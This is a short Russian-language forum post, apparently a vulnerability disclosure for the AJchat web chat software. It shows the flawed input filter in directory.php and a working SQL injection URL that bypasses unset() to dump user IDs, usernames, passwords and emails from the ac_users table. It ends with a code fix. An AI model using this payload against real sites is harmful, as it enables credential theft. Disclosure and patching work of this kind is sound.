PDA

Просмотр полной версии : AJchat Remote Sql Injection using unset() bug


gemaglabin
06.04.2007, 18:07
В связи с отсуствием нормального применения баги , а именно в таблице хранятся только юзеры , выкладываю в паблик

Файл directory.php , самое начало кода


if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else unset($_GET['s']);

}


По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем


directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),nul l+from+ac_users/*&5861526=1&5863704=1


Вендор : http://ajchat.sourceforge.net/

Решение

if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else
{
$_GET['s'] = NULL;
unset($_GET['s']);
}